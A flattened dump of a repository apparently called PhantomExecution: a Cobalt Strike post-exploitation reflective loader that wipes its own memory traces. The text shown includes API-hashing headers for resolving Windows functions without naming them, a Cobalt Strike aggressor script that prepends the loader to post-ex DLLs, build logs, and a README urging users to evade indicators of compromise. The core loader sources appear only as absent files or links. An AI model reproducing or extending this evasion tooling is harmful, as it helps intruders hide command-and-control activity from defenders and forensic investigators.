├── requirements.txt
├── library
├── Utils.cpp
├── bin
│ ├── library.x64.lib
│ └── library.x64.pdb
├── End.h
├── library.vcxproj.user
├── StdLib.h
├── End.cpp
├── Utils.h
├── Hash.h
├── FunctionResolving.h
├── library.vcxproj.filters
├── StdLib.cpp
├── library.vcxproj
├── LoaderTypes.h
└── FunctionResolving.cpp
├── intermmediate
├── library
│ └── Release
│ │ ├── End.obj
│ │ ├── StdLib.obj
│ │ ├── Utils.obj
│ │ ├── FunctionResolving.obj
│ │ ├── library.tlog
│ │ ├── CL.read.1.tlog
│ │ ├── CL.write.1.tlog
│ │ ├── CL.command.1.tlog
│ │ ├── Lib.command.1.tlog
│ │ ├── Lib-link.read.1.tlog
│ │ ├── Lib-link.write.1.tlog
│ │ ├── library.lastbuildstate
│ │ └── Cl.items.tlog
│ │ ├── library.log
│ │ ├── library.x64.lib.recipe
│ │ ├── library.x86.lib.recipe
│ │ ├── library.x64.Build.CppClean.log
│ │ └── library.x86.Build.CppClean.log
└── postex-loader
│ └── Release
│ ├── vc143.pdb
│ ├── CleanJob.obj
│ ├── ReflectiveLoader.obj
│ ├── postex-loader.x64.iobj
│ ├── postex-loader.tlog
│ ├── CL.read.1.tlog
│ ├── CL.write.1.tlog
│ ├── link.read.1.tlog
│ ├── CL.command.1.tlog
│ ├── link.write.1.tlog
│ ├── link.command.1.tlog
│ ├── postex-loader.lastbuildstate
│ └── Cl.items.tlog
│ ├── postex-loader.x64.exe.recipe
│ ├── postex-loader.x86.exe.recipe
│ ├── postex-loader.log
│ ├── postex-loader.x64.Build.CppClean.log
│ └── postex-loader.x86.Build.CppClean.log
├── bin
└── postex-loader
│ ├── Release
│ ├── x64
│ │ └── postex-loader.x64.bin
│ └── x86
│ │ └── postex-loader.x86.bin
│ └── prepend-postex-udrl.cna
├── examples
└── postex-loader
│ ├── postex-loader.vcxproj.user
│ ├── CleanJob.h
│ ├── postex-loader.vcxproj.filters
│ ├── ReflectiveLoader.h
│ ├── CleanJob.cpp
│ ├── postex-loader.vcxproj
│ └── ReflectiveLoader.cpp
├── README.md
├── loader.props
├── PhantomExecution.sln
├── default.props
└── udrl.py
/requirements.txt:
--------------------------------------------------------------------------------
1 | pefile
--------------------------------------------------------------------------------
/library/Utils.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/library/Utils.cpp
--------------------------------------------------------------------------------
/library/bin/library.x64.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/library/bin/library.x64.lib
--------------------------------------------------------------------------------
/library/bin/library.x64.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/library/bin/library.x64.pdb
--------------------------------------------------------------------------------
/intermmediate/library/Release/End.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/End.obj
--------------------------------------------------------------------------------
/intermmediate/library/Release/StdLib.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/StdLib.obj
--------------------------------------------------------------------------------
/intermmediate/library/Release/Utils.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/Utils.obj
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/vc143.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/vc143.pdb
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/CleanJob.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/CleanJob.obj
--------------------------------------------------------------------------------
/bin/postex-loader/Release/x64/postex-loader.x64.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/bin/postex-loader/Release/x64/postex-loader.x64.bin
--------------------------------------------------------------------------------
/bin/postex-loader/Release/x86/postex-loader.x86.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/bin/postex-loader/Release/x86/postex-loader.x86.bin
--------------------------------------------------------------------------------
/intermmediate/library/Release/FunctionResolving.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/FunctionResolving.obj
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/ReflectiveLoader.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/ReflectiveLoader.obj
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/CL.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/CL.read.1.tlog
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/CL.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/CL.write.1.tlog
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.x64.iobj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.x64.iobj
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/CL.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/CL.command.1.tlog
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/Lib.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/Lib.command.1.tlog
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/Lib-link.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/Lib-link.read.1.tlog
--------------------------------------------------------------------------------
/library/End.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifdef _DEBUG
4 | unsigned char debug_dll[];
5 |
6 | #elif _WIN64
7 | void LdrEnd();
8 |
9 | #elif _WIN32
10 | void* LdrEnd();
11 | #endif
12 |
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/Lib-link.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/Lib-link.write.1.tlog
--------------------------------------------------------------------------------
/library/library.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/CL.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/CL.read.1.tlog
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/CL.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/CL.write.1.tlog
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/link.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/link.read.1.tlog
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/CL.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/CL.command.1.tlog
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/link.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/link.write.1.tlog
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.log:
--------------------------------------------------------------------------------
1 | End.cpp
2 | FunctionResolving.cpp
3 | StdLib.cpp
4 | Utils.cpp
5 | library.vcxproj -> E:\Project\GIT\PhantomExecution\PhantomExecution\library\bin\library.x64.lib
6 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/link.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/link.command.1.tlog
--------------------------------------------------------------------------------
/examples/postex-loader/postex-loader.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.x64.lib.recipe:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.x86.lib.recipe:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/library.lastbuildstate:
--------------------------------------------------------------------------------
1 | PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.38.33130:TargetPlatformVersion=10.0.22621.0:
2 | Release|x64|E:\Project\GIT\PhantomExecution\PhantomExecution\|
3 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/postex-loader.lastbuildstate:
--------------------------------------------------------------------------------
1 | PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.38.33130:TargetPlatformVersion=10.0.22621.0:
2 | Release|x64|E:\Project\GIT\PhantomExecution\PhantomExecution\|
3 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.x64.exe.recipe:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x64\postex-loader.x64.exe
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.x86.exe.recipe:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x86\postex-loader.x86.exe
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.tlog/Cl.items.tlog:
--------------------------------------------------------------------------------
1 | E:\Project\GIT\PhantomExecution\PhantomExecution\examples\postex-loader\CleanJob.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\postex-loader\Release\CleanJob.obj
2 | E:\Project\GIT\PhantomExecution\PhantomExecution\examples\postex-loader\ReflectiveLoader.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\postex-loader\Release\ReflectiveLoader.obj
3 |
--------------------------------------------------------------------------------
/library/StdLib.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | #ifdef _DEBUG
5 | #define PRINT(message, ...) _printf(message, __VA_ARGS__)
6 | void _printf(const char* format, ...);
7 | #else
8 | #define PRINT(message, ...)
9 | #endif
10 |
11 | BOOL _memcpy(void* dest, void* src, size_t size);
12 | int _memcmp(const void* ptr1, const void* ptr2, size_t size);
13 | void* _memset(void* dest, int ch, size_t count);
14 | int _strcmp(const char* src, const char* dst);
--------------------------------------------------------------------------------
/examples/postex-loader/CleanJob.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "LoaderTypes.h"
3 | #include
4 |
5 | void CleanJob(DLLMAIN entryPoint, ULONG_PTR loadedDllBaseAddress, void* loaderStart, NT_CREATETHREADEX NtCreateThreadEx, NT_GETCONTEXTTHREAD NtGetContextThread, RTL_EXITUSERTHREAD RtlExitUserThread, NT_SETCONTEXTTHREAD NtSetContextThread, NT_RESUMETHREAD NtResumeThread, WAITFORSINGLEOBJECTS WaitForSingleObject, VIRTUALFREE VirtualFree, RTL_CAPTURECONTEXT RtlCaptureContext, NT_CONTINUE NtContinue, VIRTUALQUERY VirtualQuery, PVOID TpReleaseCleanupGroupMembers, UNMAPVIEWOFFILE UnmapViewOfFile);
6 | PVOID GetCleanData(PDWORD Length);
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.tlog/Cl.items.tlog:
--------------------------------------------------------------------------------
1 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\End.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\End.obj
2 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\FunctionResolving.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\FunctionResolving.obj
3 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\StdLib.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\StdLib.obj
4 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\Utils.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\Utils.obj
5 |
--------------------------------------------------------------------------------
/library/End.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include "Utils.h"
3 |
4 |
5 | #ifdef _DEBUG
6 | // Position the contents of DebugDLL.h (debug_dll[]) at the end of the loader to replicate Release mode
7 | #pragma code_seg(".text$z")
8 | __declspec(allocate(".text$z"))
9 | #ifdef _WIN64
10 | #include "DebugDLL.x64.h"
11 | #elif _WIN32
12 | #include "DebugDLL.x86.h"
13 | #endif
14 |
15 | #elif _WIN64
16 | // An empty function to determine the end of the .text section in x64 (&LdrEnd + 1)
17 | #pragma code_seg(".text$z")
18 | void LdrEnd() {}
19 |
20 | #elif _WIN32
21 | #pragma optimize( "", off )
22 | #pragma code_seg(".text$z")
23 | // A function to determine the end of the .text section in x86
24 | void* LdrEnd() {
25 | return GetLocation();
26 | }
27 | #pragma optimize( "", on )
28 | #endif
29 |
--------------------------------------------------------------------------------
/library/Utils.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include "LoaderTypes.h"
4 |
5 | /**
6 | * PIC String Macros
7 | * https://gist.github.com/EvanMcBroom/d7f6a8fe3b4d8f511b132518b9cf80d7
8 | */
9 | #define PIC_STRING(NAME, STRING) constexpr char NAME[]{ STRING }
10 | #define PIC_WSTRING(NAME, STRING) constexpr wchar_t NAME[]{ STRING }
11 |
12 | void* GetLocation();
13 | _PPEB GetPEBAddress();
14 | ULONG_PTR FindBufferBaseAddress();
15 | ULONG_PTR FindBufferBaseAddressStephenFewer();
16 | BOOL CopyPEHeader(ULONG_PTR srcImage, ULONG_PTR dstAddress);
17 | BOOL CopyPESections(ULONG_PTR srcImage, ULONG_PTR dstAddress);
18 | void ResolveImports(PIMAGE_NT_HEADERS ntHeader, ULONG_PTR dstAddress, PWINDOWSAPIS winApi);
19 | void ProcessRelocations(PIMAGE_NT_HEADERS ntHeader, ULONG_PTR dstAddress);
20 | BOOL ResolveRdataSection(ULONG_PTR srcImage, ULONG_PTR dstAddress, PRDATA_SECTION rdata);
21 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.log:
--------------------------------------------------------------------------------
1 | cl : 命令行 warning D9025: 正在重写“/sdl”(用“/GS-”)
2 | CleanJob.cpp
3 | ReflectiveLoader.cpp
4 | E:\Project\GIT\PhantomExecution\PhantomExecution\examples\postex-loader\CleanJob.cpp(104,29): warning C4244: “=”: 从“UINT_PTR”转换到“DWORD”,可能丢失数据
5 | 正在生成代码
6 | 已完成代码的生成
7 | postex-loader.vcxproj -> E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x64\postex-loader.x64.exe
8 |
9 | _ _
10 | | | | |
11 | _ _ __| |_ __| | _ __ _ _
12 | | | | |/ _` | '__| | | '_ \| | | |
13 | | |_| | (_| | | | |_| |_) | |_| |
14 | \__,_|\__,_|_| |_(_) .__/ \__, |
15 | | | __/ |
16 | |_| |___/
17 |
18 | [+] Success: Extracted loader
19 | [+] Success: Written UDRL to E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x64\postex-loader.x64.bin. Total Size: 2933 bytes
20 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PhantomExecution
2 | 
3 |
4 | > Self Cleanup in post-ex job, suit for CobaltStrike
5 |
6 |
7 |
8 | When the target of process injection is the current process, and when the post-ex job is executed and the thread exits, the memory will look like this
9 |
10 | 
11 |
12 | Then, perform 5 screenshots:
13 |
14 | 
15 |
16 | So, we use the RDI itself to clean up itself and the memory area which the post-ex job is executed.
17 |
18 | This is also a general memory execution plugin
19 |
20 | 
21 |
22 | The code is not beautiful, and many IOCs are not evasioned. Please modify it according to OPSEC principles. This code only shows the self clean technology.
23 |
24 |
25 |
26 | writeup: https://mp.weixin.qq.com/s/V4EdhGzyzxln0LzU99hqpA
27 |
28 | conference: https://github.com/knownsec/KCon/blob/master/2024/%E9%AB%98%E7%BA%A7%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%BC%80%E5%8F%91%E4%B9%8BRDI%E7%9A%84%E8%BF%9B%E5%8C%96.pdf
29 |
--------------------------------------------------------------------------------
/loader.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | $(SolutionDir)bin\$(ProjectName)\$(Configuration)\$(LibrariesArchitecture)\
9 | $(ProjectName).$(LibrariesArchitecture)
10 |
11 |
12 |
13 | $(SolutionDir)library;%(AdditionalIncludeDirectories)
14 |
15 |
16 | ReflectiveLoader
17 |
18 |
19 |
20 |
21 | py.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin"
22 |
23 |
24 |
25 |
26 | py.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin"
27 |
28 |
29 |
--------------------------------------------------------------------------------
/examples/postex-loader/postex-loader.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Header Files
28 |
29 |
30 | Header Files
31 |
32 |
33 |
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.x64.Build.CppClean.log:
--------------------------------------------------------------------------------
1 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.pdb
2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\utils.obj
3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\stdlib.obj
4 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\functionresolving.obj
5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\end.obj
6 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.lib
7 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.vcxproj.filelistabsolute.txt
8 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.command.1.tlog
9 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.items.tlog
10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.read.1.tlog
11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.write.1.tlog
12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.read.1.tlog
13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.write.1.tlog
14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib.command.1.tlog
15 |
--------------------------------------------------------------------------------
/bin/postex-loader/prepend-postex-udrl.cna:
--------------------------------------------------------------------------------
1 | # ===========================================================================
2 | # Utils
3 | # ===========================================================================
4 |
5 | # ----------------------------------------------
6 | # Print information to the Script Console
7 | # $1 = message
8 | # ----------------------------------------------
9 | sub print_info {
10 | println(formatDate("[HH:mm:ss] ") . "\cE[UDRL-VS]\o " . $1);
11 | }
12 |
13 | # ===========================================================================
14 | # Post Exploitation UDRL
15 | # ===========================================================================
16 |
17 | print_info("Post Exploitation Loader loaded");
18 |
19 | set POSTEX_RDLL_GENERATE {
20 | local('$arch $dll $fileHandle $ldr $loader_path $payload');
21 | $dll = $2;
22 | $arch = $3;
23 | $bid = $4;
24 | $getmodule = $5;
25 | $getprocad = $6;
26 |
27 | # Read the UDRL from the supplied binary file
28 | $loader_path = getFileProper(script_resource("Release"), $arch ,"postex-loader." . $arch . ".bin" );
29 |
30 | $file_handle = openf($loader_path);
31 | $ldr = readb($file_handle, -1);
32 | closef($file_handle);
33 |
34 | if (strlen($ldr) == 0) {
35 | warn("Error: Failed to read $loader_path");
36 | return $null;
37 | }
38 |
39 | print_info("Post Exploitation UDRL generated (" . strlen($ldr) . " bytes)");
40 |
41 | return $ldr . $dll;
42 | }
43 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.x64.Build.CppClean.log:
--------------------------------------------------------------------------------
1 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\vc143.pdb
2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\reflectiveloader.obj
3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\cleanjob.obj
4 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.exe
5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.x86.iobj
6 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.pdb
7 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.vcxproj.filelistabsolute.txt
8 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.command.1.tlog
9 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.items.tlog
10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.read.1.tlog
11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.write.1.tlog
12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.command.1.tlog
13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.read.1.tlog
14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.write.1.tlog
15 |
--------------------------------------------------------------------------------
/intermmediate/library/Release/library.x86.Build.CppClean.log:
--------------------------------------------------------------------------------
1 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x64.pdb
2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\utils.obj
3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\stdlib.obj
4 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\obfuscation.obj
5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\functionresolving.obj
6 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\end.obj
7 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.pdb
8 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x64.lib
9 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.lib
10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.vcxproj.filelistabsolute.txt
11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.command.1.tlog
12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.items.tlog
13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.read.1.tlog
14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.write.1.tlog
15 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.read.1.tlog
16 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.write.1.tlog
17 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib.command.1.tlog
18 |
--------------------------------------------------------------------------------
/library/Hash.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 |
5 | #define HASH_KEY 0x19
6 | #pragma intrinsic( _rotr )
7 |
8 | /**
9 | * Hash a string at run time.
10 | *
11 | * @param str A pointer to the string that should be hashed.
12 | * @return A hash of the string.
13 | */
14 | __forceinline DWORD RunTimeHash(const char* str) {
15 | DWORD hash = 0;
16 | do {
17 | hash = _rotr(hash, HASH_KEY);
18 | if (*str >= 'a') {
19 | hash += *str - ('a' - 'A');
20 | }
21 | else {
22 | hash += *str;
23 | }
24 | } while (*++str);
25 |
26 | return hash;
27 | }
28 |
29 | /**
30 | * Hash data at run time.
31 | *
32 | * @param data A pointer to data that should be hashed.
33 | * @param length A size of the data buffer
34 | * @return A hash of data.
35 | */
36 | __forceinline DWORD RunTimeHash(const char* data, size_t length) {
37 | DWORD hash = 0;
38 | while (length--) {
39 | hash = _rotr(hash, HASH_KEY);
40 | if (*data >= 'a') {
41 | hash += *data - ('a' - 'A');
42 | }
43 | else {
44 | hash += *data;
45 | }
46 | ++data;
47 | }
48 |
49 | return hash;
50 | }
51 |
52 | /**
53 | * Hash a string at compile time.
54 | *
55 | * @param str A pointer to the string that should be hashed.
56 | * @return A hash of the string.
57 | */
58 | constexpr DWORD CompileTimeHash(const char* str) {
59 | DWORD hash = 0;
60 | do {
61 | hash = (hash >> HASH_KEY) | (hash << (sizeof(DWORD) * 8 - HASH_KEY));
62 | if (*str >= 'a') {
63 | hash += *str - ('a' - 'A');
64 | }
65 | else {
66 | hash += *str;
67 | }
68 | } while (*++str);
69 |
70 | return hash;
71 | }
72 |
--------------------------------------------------------------------------------
/library/FunctionResolving.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | #include "LoaderTypes.h"
5 | #include "Hash.h"
6 |
7 | // Calculate hashes for base set of loader APIs
8 | constexpr DWORD KERNEL32DLL_HASH = CompileTimeHash("kernel32.dll");
9 | constexpr DWORD NTDLLDLL_HASH = CompileTimeHash("ntdll.dll");
10 | constexpr DWORD LOADLIBRARYA_HASH = CompileTimeHash("LoadLibraryA");
11 | constexpr DWORD GETPROCADDRESS_HASH = CompileTimeHash("GetProcAddress");
12 | constexpr DWORD VIRTUALALLOC_HASH = CompileTimeHash("VirtualAlloc");
13 | constexpr DWORD VIRTUALPROTECT_HASH = CompileTimeHash("VirtualProtect");
14 | constexpr DWORD NTFLUSHINSTRUCTIONCACHE_HASH = CompileTimeHash("NtFlushInstructionCache");
15 |
16 | constexpr DWORD NTCreateThreadEx_HASH = CompileTimeHash("NtCreateThreadEx");
17 | constexpr DWORD NTGetContextThread_HASH = CompileTimeHash("NtGetContextThread");
18 | constexpr DWORD NTSetContextThread_HASH = CompileTimeHash("NtSetContextThread");
19 | constexpr DWORD NTResumeThread_HASH = CompileTimeHash("NtResumeThread");
20 | constexpr DWORD RtlCaptureContext_HASH = CompileTimeHash("RtlCaptureContext");
21 | constexpr DWORD VirtualFree_HASH = CompileTimeHash("VirtualFree");
22 | constexpr DWORD NtContinue_HASH = CompileTimeHash("NtContinue");
23 | constexpr DWORD RtlExitUserThread_HASH = CompileTimeHash("RtlExitUserThread");
24 | constexpr DWORD TpReleaseCleanupGroupMembers_HASH = CompileTimeHash("TpReleaseCleanupGroupMembers");
25 | constexpr DWORD WAITFORSINGLEOBJECTS_HASH = CompileTimeHash("WaitForSingleObject");
26 | constexpr DWORD UNMAPVIEWOFFILE_HASH = CompileTimeHash("UnmapViewOfFile");
27 | constexpr DWORD VIRTUALQUERY_HASH = CompileTimeHash("VirtualQuery");
28 |
29 | constexpr DWORD ExitThread_HASH = CompileTimeHash("ExitThread");
30 |
31 |
32 |
33 |
34 | ULONG_PTR GetProcAddressByHash(_PPEB pebAddress, DWORD moduleHash, DWORD functionHash);
35 | BOOL ResolveBaseLoaderFunctions(_PPEB pebAddress, PWINDOWSAPIS winApi, PNTSAPIS ntApi, POTHERSAPIS otherApi);
36 |
37 |
--------------------------------------------------------------------------------
/intermmediate/postex-loader/Release/postex-loader.x86.Build.CppClean.log:
--------------------------------------------------------------------------------
1 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\vc143.pdb
2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\reflectiveloader.obj
3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\cleanjob.obj
4 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x64\postex-loader.x64.exe
5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.x64.iobj
